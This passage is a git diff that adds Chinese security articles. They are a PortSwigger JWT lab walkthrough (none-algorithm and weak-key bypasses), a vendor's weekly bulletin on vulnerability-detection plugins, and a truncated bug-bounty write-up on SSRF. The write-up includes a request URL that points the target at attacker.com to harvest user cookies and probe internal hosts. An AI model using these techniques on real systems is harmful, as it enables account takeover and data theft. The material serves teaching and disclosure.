+![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o0BLuqAu5p15OOYEhkTicFeZznicmm9bgC51eQicBLxPyic98bcibhsjudOw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oQaEj6ViamMB7PAtUC1PGE1K941Sg5SiadMm43d9oSxiba16UuX6ibAicxFw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oWjmbiaSTFpDmkicSibv4iajPyBVOOAnveq6VlRuR19KictoK14Nf5vcmG7A/640?wx_fmt=png&from=appmsg "") +- 此处的不用改 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o0ibKrdnYlQelh2v8IckUhusUuFwSOpCNdpognCgARwLn3EyqEnPUo0g/640?wx_fmt=png&from=appmsg "") +- 最后回到浏览器，发现成功越权访问 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oSKIxH9ibHA3ibnP3a1pZyYayQblcyd4jdRzbbOVU9Y7a0l4j8x6icBPOA/640?wx_fmt=png&from=appmsg "") +- 此时点击删除carlos用户，依旧将JWT进行修改，最后即可删除成功 + +# 四、不签名攻击（none攻击） +- 原理： + +- JWT标头包含一个alg +参数。这会告诉服务器使用哪种算法对令牌进行签名，从而告诉服务器在验证签名时需要使用哪种算法。JWT可以使用一系列不同的算法进行签名，但也可以保持不签名状态。 + +- 在这种情况下，alg +参数设置为none +，这表示所谓的“不安全的 JWT”。由于这样做的明显危险，服务器通常会拒绝没有签名的令牌。 + +- JWT允许设置其头部中的alg +字段为"none"，表示这是一个不签名的JWT，这意味着任何实体都可以修改令牌内容而不被发现。 + +- 靶场地址： +https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification + +- 场景：通过登录已给的普通用户账号密码登录后，访问管理员的管理面板，删除另一个用户 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oypITGeUmmk3ZfvOQBJ8ormE4zYyR91TG2O58rGhoW60YKljtAiaAmFA/640?wx_fmt=png&from=appmsg "") +- 先通过已给的账户进行登录 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oo7RVFHZdYYDP3EZ64LLS63r8LnEMKR1YTmzHFAY2GHcsqojLQlBWAA/640?wx_fmt=png&from=appmsg "") +- 登录成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oy7Tjd1Jd18SzhPo1hMQDCRFnniadeibno4L5oic5MvWZ0gmyI4HzLhROQ/640?wx_fmt=png&from=appmsg "") +- 访问/admin +这个页面，发现不是管理员账户，无法访问 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01of7AUYWaBBV1ZSm6Z5xcvhj7CDp7qOLiaibQEg7mzYF1mhAWNBdwlib41A/640?wx_fmt=png&from=appmsg "") +- 再次访问，使用Burp抓包，发送到Repeater，发现通过JWT鉴权 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oCGEZZqe5RianibG0bODCen1YYguiazlzLdIzT6HvgnLjeGkPpI9CYy4bw/640?wx_fmt=png&from=appmsg "") +- 点击JSON Web Token，将wiener用户改为administrator，然后发包，发现依旧没有访问成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oSia6xVbHqia4jX4PDGHLszEPLwZhuzpuriahcvkyicFTGoAIqXweB3xRYQ/640?wx_fmt=png&from=appmsg "") +- 此时在左下角，将alg改为none，发包后发现访问成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oVkhX5nLPiambpQ9T03zzfuMWpLd0x5AicjoRDDibYFibuQOnMvCjjtJDiaA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocAStibq2oaCmbWPt4JCCAgD1hjcUs9Rc280Z4VicVFg9XbFFe640EwKQ/640?wx_fmt=png&from=appmsg "") +# 五、通过弱签名密钥绕过JWT身份验证 +- 靶场地址： +https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key + +- 先通过已给的账户进行登录 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oG4cPButU3deQYcSfsweRUwRnA19xLpCZ9IxYoGoiau4VbUBOzd6uQSQ/640?wx_fmt=png&from=appmsg "") +- 登录成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oL44TI9QCu0FAx91GSias8wVJ72VDdsaY0h30FxKyQnlVvQlPplWNVvQ/640?wx_fmt=png&from=appmsg "") +- 访问/admin +这个页面，发现不是管理员账户，无法访问 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oic2KrH7ReumLVP7rYbl9mRuHAsIUsHEIicAQTVr9hP3eL2wngkU9yxPQ/640?wx_fmt=png&from=appmsg "") +- 再次访问，使用Burp抓包，发送到Repeater，发现通过JWT鉴权 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oaGIWp5MtKGUJAGKNQtNwcia9gFOnlI80PKruicv3Rmxef2reF4PwicPoQ/640?wx_fmt=png&from=appmsg "") +- 点击JSON Web Token，可以看到加密算法为HS256 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oQ6n8tWsxa0sczOvSib2mcv3Z6FZD691bPB23H8rosjmvRg4qg37wicQw/640?wx_fmt=png&from=appmsg "") +- 此时可以将整个JWT复制到无影工具中，对密钥进行破解 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01otiaZNU7tVIXwo5r5O7ypeGkVB65z2Q5OFXKt0cCHPaPW5PRftibeQia5Q/640?wx_fmt=png&from=appmsg "") +- 然后将JWT和破解出来的密钥复制到以下网站，然后将wiener用户改为administrator + +- https://jwt.io/ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oawHSvTBsJNj2EV0WhVmcBNUVNTthexvVJvFgqfMO0cGaCEzaVXic9ibw/640?wx_fmt=png&from=appmsg "") +- 将重新编码后的JWT复制到Burp，然后发包，发现访问成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o50FjLicMDibCxqKLBao4F3oKn1n0AXUNq4J9hZib6lOL8kaRdkNVeH94A/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2025-05/创宇安全智脑 vBulletin远程代码执行（CVE-2025-48827∕CVE-2025-48828）等84个漏洞可检测.md b/doc/2025-05/创宇安全智脑 vBulletin远程代码执行（CVE-2025-48827∕CVE-2025-48828）等84个漏洞可检测.md new file mode 100644 index 00000000..fe23c98c --- /dev/null +++ b/doc/2025-05/创宇安全智脑 vBulletin远程代码执行（CVE-2025-48827∕CVE-2025-48828）等84个漏洞可检测.md @@ -0,0 +1,452 @@ +# 创宇安全智脑 | vBulletin远程代码执行（CVE-2025-48827/CVE-2025-48828）等84个漏洞可检测 +原创 创宇安全智脑 创宇安全智脑 2025-05-29 08:05 + +**创宇安全智脑** +是基于知道创宇17年来AI+安全大数据在真实攻防场景中的经验积累构建的下一代全场景安全智能算力平台。平台拥有海量真实攻防数据和安全大数据持续生产能力；结合面向多个实战场景的AI智能模型，持续汇聚、萃取和分析，实时输出高精准高价值威胁情报、安全态势、攻防策略；持续全场景赋能知道创宇全产品矩阵和安全托管服务。 + + +**创宇安全智脑目前已经联动支撑知道创宇全产品矩阵，包括：创宇盾、抗D保、ScanV、ZoomEye、创宇蜜罐、创宇云图、创宇云影、创宇猎幽、创宇威胁情报网关等。** + + +本周累计更新漏洞插件84个，其中重点插件10个 + +**详情如下：** + + +**更新列表** + + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqsl35Tz2Q29SK0LxRlJWRoeQukQlWlGwd4p1WS3yY2fjJSeiavk9zDJw/640?wx_fmt=png&from=appmsg "") + +注：vBulletin replaceAdTemplate 远程代码执行（CVE-2025-48827/CVE-2025-48828）即为 vBulletin 远程代码执行（CVE-2025-48827/CVE-2025-48828） + + + +漏洞详情 + + +**新增插件：** + + +1、vBulletin replaceAdTemplate 远程代码执行（CVE-2025-48827/CVE-2025-48828） + +**发布时间：** +2025-05-26 + +**漏洞等级：** +严重 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +vBulletin 是一个功能强大的商业论坛软件，用于创建和管理在线社区。vBulletin 若运行在PHP 8.1+环境， 自5.1.0 至 6.0.3 版本 ajax/api/ad/replaceAdTemplate 端点中存在远程代码执行 (RCE) 漏洞。该漏洞源于对 PHP 反射 API 的不当使用，允许未经身份验证的攻击者调用受保护的控制器方法。未经身份认证的攻击者可以利用该漏洞远程执行任意代码，获取系统权限。 + +**漏洞危害：** + +未经身份认证的攻击者可以利用该漏洞远程执行任意代码，获取系统权限。 + +**建议解决方案：** + +1、目前厂商暂未发布修复补丁，请密切关注； + +2、用户可临时使用Web应用防火墙等安全设备进行防护。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="vBulletin" 对潜在可能目标进行搜索，共得到16823条IP历史记录。主要分布在美国、法国等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22vBulletin%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqWx8mnCs0aQ8vO9yOuHHT3FLao6W4xJjzJqF3ib694OT5SmLTnRRZdbg/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqNdYsRzrWMp6FAgxPlsmA6ktYT2BfqVbibfgcVrhCdFO4nqt8Fg575rA/640?wx_fmt=png&from=appmsg "") + + +2、Invision Community <= 5.0.6 customCss 远程代码执行（CVE-2025-47916） + +**发布时间：** +2025-05-26 + +**漏洞等级：** +严重 + +**漏洞来源：** + +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-47916 + +**漏洞描述：** + +Invision Community 是一款功能全面的商业论坛和社区软件，支持论坛、博客、电子商务等模块，提供响应式设计和强大的用户管理功能。Invision Community customCss 接口存在代码执行漏洞。恶意攻击者可以利用该漏洞远程执行任意代码，获取系统权限。 + +**漏洞危害：** + +恶意攻击者可以利用该漏洞远程执行任意代码，获取系统权限。 + +**建议解决方案：** + +厂商已发布新版本修复该漏洞，请及时更新到最新安全版本。参考链接： + +https://invisioncommunity.com/release-notes-v5/507-r41/。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="Invision Community" 对潜在可能目标进行搜索，共得到2262条IP历史记录。主要分布在美国、德国等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22Invision%20Community%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqibzYuppyUSqmobgKd7iaXhyCxOydVqhU1j8gGjGva0zKGUCSGnVzX0hQ/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFq6ng8Xl0icoldW0swZNZ3d2rHz7u9yyE7TlPZmvpCic4cmjbPCNzoshSg/640?wx_fmt=png&from=appmsg "") + + +3、用友 NC Cloud getBapTableDatas SQL注入 + +**发布时间：** +2025-05-27 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +‌用友 NC Cloud‌ 是用友公司推出的大型企业数字化平台，基于云原生架构，深度应用新一代数字技术，打造开放、互联、融合、智能的一体化云平台。用友 NC Cloud getBapTableDatas 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**漏洞危害：** + +恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**建议解决方案：** + +及时更新至最新版本，使用参数化查询或预编译语句并对输入进行过滤和验证，以防止SQL注入攻击。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="用友 NC Cloud" 对潜在可能目标进行搜索，共得到5245条IP历史记录。主要分布在中国、新加坡等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22%E7%94%A8%E5%8F%8B%20NC%20Cloud%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqIra2hkRQeDrQHW5vAkMgia8RiampKecnsrUO2qxUJmpytibPD5oyKb9Ww/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqsjav1HpoSgMuInDvbo93Uspqxia1xoKRFC2wljuicXLMBfT1HjGlP2cQ/640?wx_fmt=png&from=appmsg "") + + +4、东胜物流软件 GetDataCtnList SQL注入 + +**发布时间：** +2025-05-27 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +东胜物流软件是一款致力于为客户提供 IT 支撑的 SOP。东胜物流软件 GetDataCtnList 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**漏洞危害：** + +恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**建议解决方案：** + +及时更新至最新版本，使用参数化查询或预编译语句并对输入进行过滤和验证，以防止SQL注入攻击。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="东胜物流软件" 对潜在可能目标进行搜索，共得到783条IP历史记录。主要分布在中国、日本等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22%E4%B8%9C%E8%83%9C%E7%89%A9%E6%B5%81%E8%BD%AF%E4%BB%B6%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFq9ygq6SrxBJxu4cV83Tl2pgdWeX8Q03U9hccqm66ETc8G80RVL0Cf9g/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFq3hA32rHQlWZa1A1iaziaJQHrxdXLn92bnkvdmBmY57D0oibApniaBG5q6A/640?wx_fmt=png&from=appmsg "") + + +5、 +汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入 + +**发布时间：** +2025-05-26 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +汉王e脸通综合管理平台是汉王科技推出的一款基于生物识别技术的一站式智能管理平台，旨在通过融合多种智能硬件和AI技术，实现门禁、考勤、访客、会议、车辆等多种功能的智能化管理和场景应用。汉王e脸通综合管理平台 queryManyPeopleGroupList.do 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**漏洞危害：** + +恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**建议解决方案：** + +及时更新至最新版本，使用参数化查询或预编译语句并对输入进行过滤和验证，以防止SQL注入攻击。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="汉王e脸通综合管理平台" 对潜在可能目标进行搜索，共得到276条IP历史记录。主要分布在中国、孟加拉等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22%E6%B1%89%E7%8E%8Be%E8%84%B8%E9%80%9A%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFq99qibtpBdIiadz7aluzMqDBEwice40TyYBBrDWWtzbr9cvbHibo5jOM2Hw/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqF8bo44DmglySeQRiaI6LGA83XFobiblVxAOqqrzWicmpzW4XLOEIPPeUg/640?wx_fmt=png&from=appmsg "") + + +6、Grafana 跨站脚本（CVE-2025-4123） + +**发布时间：** +2025-05-23 + +**漏洞等级：** +高危 + +**漏洞来源：** + +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-4123 + +**漏洞描述：** + +Grafana 是一个开源的数据可视化与监控平台，用于创建、展示和分析时间序列数据的仪表板。Grafana 存在跨站脚本漏洞。该漏洞由客户端路径遍历和开放重定向组合而成。攻击者可以利用该漏洞将用户重定向到托管前端插件的网站，该插件将执行任意 JavaScript 代码。如果安装了 Grafana 图像渲染器插件，则可以利用开放重定向实现完全读取的 SSRF。 + +**漏洞危害：** + +攻击者可以利用该漏洞将用户重定向到托管前端插件的网站，该插件将执行任意 JavaScript 代码。如果安装了 Grafana 图像渲染器插件，则可以利用开放重定向实现完全读取的 SSRF。 + +**建议解决方案：** + +厂商已发布新版本修复该漏洞，请及时更新。参考链接： + +https://grafana.com/security/security-advisories/cve-2025-4123/。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="Grafana" 对潜在可能目标进行搜索，共得到574374条IP历史记录。主要分布在美国、德国等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22Grafana%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFq687nYaEnakPdwwmb9P0IZ8ibkibCSEcDzMeXHVtddWTicbFAxfkH6KHmw/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqb1839RUhMk8bLqqkRBw9kgSeoiaibL7wMReq77nmLyHJDYIgu7QOpUgg/640?wx_fmt=png&from=appmsg "") + + +7、Clash Verge configs 未授权访问 + +**发布时间：** +2025-05-22 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +Clash Verge 是一个基于 Tauri 的现代 GUI 客户端，旨在在 Windows、macOS 和 Linux 中运行，以提供定制的代理体验。Clash Verge config 接口存在未授权访问漏洞。未经授权的远程攻击者可以利用该漏洞修改配置文件，劫持代理窃取流量，甚至结合其它攻击链实现远程命令执行。 + +**漏洞危害：** + +未经授权的远程攻击者可以利用该漏洞修改配置文件，劫持代理窃取流量，甚至结合其它攻击链实现远程命令执行。 + +**建议解决方案：** + +为外部控制添加API访问密钥。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="Clash Verge" 对潜在可能目标进行搜索，共得到11030条IP历史记录。主要分布在中国、美国等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22Clash%20Verge%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqzKNAhGhoBzZRqBPIWFFen02pgoSbQsqH52For4dE7ZX8gaewcF2kUw/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqHEuhiaYfgZo2dpH27BBBOyzAvL395PlD1EITkqLev6S4lOdxZsjOzsw/640?wx_fmt=png&from=appmsg "") + + +8、智邦国际 ERP RecordPrint.ashx SQL注入 + +**发布时间：** +2025-05-23 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +智邦国际以“一体化”为顶层设计理念，全面布局产品生态，满足不同行业、不同管理层次、不同信息化程度的企业需求。智邦国际 ERP RecordPrint.ashx 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**漏洞危害：** + +恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库。 + +**建议解决方案：** + +及时更新至最新版本，使用参数化查询或预编译语句并对输入进行过滤和验证，以防止SQL注入攻击。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="智邦国际 ERP" 对潜在可能目标进行搜索，共得到45043条IP历史记录。主要分布在中国、日本等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22%E6%99%BA%E9%82%A6%E5%9B%BD%E9%99%85%20ERP%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqqRNUhyd93FDRfU3I6NOM5Sr428HlAum2B42hgMPQzeniaKdSn0dMYGw/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqN3kYFiczp418qjRIIwhnP1bic1trR61icnHiabOL6ficH9ZJibm6HSuV5DzA/640?wx_fmt=png&from=appmsg "") + + +9、BigAnt Admin upload 任意文件上传 + +**发布时间：** +2025-05-22 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +BigAnt Admin 是一个高效的企业级后台管理系统，旨在通过模块化设计和智能权限管理，帮助用户快速搭建安全可靠的管理平台，提升业务处理效率。BigAnt Admin upload 接口存在任意文件上传漏洞。未经授权的远程攻击者可上传恶意文件至服务器，远程执行任意代码，获取系统权限。 + +**漏洞危害：** + +未经授权的远程攻击者可上传恶意文件至服务器，远程执行任意代码，获取系统权限。 + +**建议解决方案：** + +及时更新至最新版本，使用白名单进行验证，并将上传文件保存在非 Web 可访问的目录中。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="BigAnt Admin" 对潜在可能目标进行搜索，共得到334条IP历史记录。主要分布在阿根廷、伊朗等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22BigAnt%20Admin%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFq4lLdS3J0wDnYnJ6JC8zlUOMMrec85af6S8n3Xr4M640icasj7rfQ7Yg/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqpDsMiabXcjRicib7Gmd4Vkx1AMLSn0MOibEFAVpuJTM5WWA8LQMwlTPKlw/640?wx_fmt=png&from=appmsg "") + + +10、UniBox forced_authentication_table.php 远程命令执行 + +**发布时间：** +2025-05-22 + +**漏洞等级：** +高危 + +**漏洞来源：** +创宇安全智脑 + +**漏洞描述：** + +Unibox是一种用于管理任何大小的有线和无线网络的理想设备，它可以部署在咖啡馆/餐馆，酒店/度假村，医院，学校和大学，机场/公交车站，购物中心和私人企业，以管理和控制客人的网络连接。UniBox forced_authentication_table.php 接口存在远程命令执行漏洞。恶意攻击者可以利用该漏洞远程执行任意命令，获取系统权限。 + +**漏洞危害：** + +恶意攻击者可以利用该漏洞远程执行任意命令，获取系统权限。 + +**建议解决方案：** + +及时更新至最新版本，确保使用时进行输入验证，以防止参数中存在恶意的命令执行语句。 + +**影响范围：** + +根据ZoomEye网络空间搜索引擎关键字 app="UniBox" 对潜在可能目标进行搜索，共得到3029条IP历史记录。主要分布在印度、澳大利亚等国家。 + +（ZoomEye搜索链接： + +https://www.zoomeye.org/searchResult?q=app%3D%22UniBox%22） + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqn2W0ud0kLKK7MMZb7icBsK4ZN2wEMrcKYzEJXeUA5TVHiahaFtpzFibkQ/640?wx_fmt=png&from=appmsg "") + +**区域分布：** + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqoKZrgQlgchUJLFbGwkol5aRpucOAvTAicIcegLYyVMwib3hG9Ya6AWkg/640?wx_fmt=png&from=appmsg "") + + +**** +ScanV + + + +为网站及业务系统提供全生命周期的外部攻击面管理（EASM）能力，从攻击者视角出发，开展漏洞监测、漏洞响应、漏洞预警等深度漏洞治理工作，实时更新漏洞情报数据，持续性跟踪风险、快速定位威胁。 + +WebSOC + + + +是面向行业区域监管机构、集团信息中心量身定制的能大范围快速发现高危Web漏洞及安全事件的硬件监测系统，产品具备扫描快、结果准、取证全的核心特质，能帮助客户快速、全面发现其管辖区域内的安全事件，生成完整通报证据链，方便通报到相关单位以促使其快速整改，帮助监管机构有效履行监管职责。 + +ZoomEye Pro + + + +是面向企事业单位研发的一款网络资产扫描与管理系统。采用对全球测绘10余年的ZoomEye同款主动探测引擎，结合被动探测引擎，以及与ZoomEye云地联动的方式，能够全面采集内外网资产并统一管理。基于SeeBug漏洞平台、创宇安全智脑的能力，能够快速更新高威胁漏洞插件并对全部资产进行漏洞影响面分析。具备资产发现能力快速精准、资产指纹信息丰富、资产分类清晰直观、漏洞响应能力强的特点。帮助客户从攻击者视角持续发现内外网资产以及高风险问题，有效降低安全风险。 + + +为帮助您快速感知威胁，激活防御体系，守护业务安全！ + + +我们建议您订阅**创宇安全智脑-威胁情报订阅服务** +，获取更多威胁情报详情以及处置建议。 + + + +![](https://mmbiz.qpic.cn/mmbiz_png/zCyMfA7bc0w8SICRIt71lVCUruUSOhFqzY9iaJocfqjMBxuibHUOluEva6RdTQR3UTkOEjpWEJGI8ERLuJ6PbPYg/640?wx_fmt=png&from=appmsg "") + +**点击阅读原文****获取更多信息** + + diff --git a/doc/2025-05/如何通过一个SSRF漏洞挖出百万用户数据.md b/doc/2025-05/如何通过一个SSRF漏洞挖出百万用户数据.md new file mode 100644 index 00000000..eaf3d34e --- /dev/null +++ b/doc/2025-05/如何通过一个SSRF漏洞挖出百万用户数据.md @@ -0,0 +1,349 @@ +# 如何通过一个SSRF漏洞挖出百万用户数据 +原创 漏洞集萃 漏洞集萃 2025-05-29 07:39 + +**** +今天给大家分享一个我最近在HackerOne上一个拥有超过8000万活跃用户的公开项目中挖到的“大宝贝”。 + +这个故事有点曲折，充满了探索和惊喜，我把它分成了几个阶段，希望能带你沉浸式体验一把挖洞的乐趣。 + +**第一幕：一个动态端点的“意外”馈赠** + +故事的开始，源于我对目标应用社交媒体分享模板功能的JavaScript代码审计。一段看似平平无奇的代码引起了我的注意： +``` + +  WORKSPACE:"/api/client/workspaces/find/{hostName}", + +``` + +这个 {hostName} + 占位符，像不像一个可以动态替换的入口？我心想，这多半是后端要根据这个 hostName + 去做点什么。 + +目标的API根路径是 https://target.com/social-media-name/ +。 于是，我随手构造了一个URL，把 hostName + 设置成了目标自己的域名：https://target.com/social-media-name/api/client/workspaces/find/target.com + +返回了一些数据，看起来平平无奇。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sEia5pYe98AOohpqgziaCnaF3pE9nNaicjZSeRtvgONMqwzzibG4f0Jz1s8A/640?wx_fmt=other&from=appmsg "") + +**“要不，试试我自己的服务器？”** + + 这个念头一闪而过。 我立马把URL改成了：https://target.com/social-media-name/api/client/workspaces/find/attacker.com + +Bingo！我的服务器收到了请求！而且，我还能看到服务器的响应。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sE4EjLK2xf5Z3T36MrZEfzkZSQUDG7X6iaD3bsibsdiaOicMZ1wqZ6biaKhUw/640?wx_fmt=other&from=appmsg "") + +但真正让我心跳加速的，是请求里附带的东西——**用户的完整Cookie！** + + +这意味着，如果受害者访问了我构造的链接，他们的Cookie就会原封不动地发到我的服务器上。这简直是账户接管的节奏啊！ + +不过，先别急着激动，我们继续深挖。我发现，目标服务器向我服务器发起的请求，路径是固定的：https://attacker.com/api/v1/workspaces/find/ +。这说明后端的请求逻辑是拼接了这个固定路径的。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Y5LD4fX7WOLesnx9McM977y5gHF2h8sED4Tian2RysbDIhN2lxohsdYt7bE6nLZq7CQy2SsvkYOBZa78bVPSZcQ/640?wx_fmt=other&from=appmsg "") + +**第二幕：内网的诱惑与HTTPS的“坚壁”** + +有了这个发现，我几乎可以代表服务器发送任意请求了。 + +首当其冲的，自然是尝试访问内网IP，比如 127.0.0.1 +：https://target.com/social-media-name/api/client/workspaces/find/127.0.0.1 + +结果，报错了：connect ECONNREFUSED 127.0.0.1:443 + +这个错误信息，尤其是 ECONNREFUSED + 和目标端口 443 +，让我联想到了Node.js里的Axios库。 + +它似乎默认尝试用HTTPS（443端口）去连接。我又用了一个没有开放443端口的主机名测试，果然收到了SSL相关的错误：write EPROTO ... wrong version number ... + +看来，后端代码里，协议被写死成了 https:// +。我甚至模拟了一下后端的代码： +``` +ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line 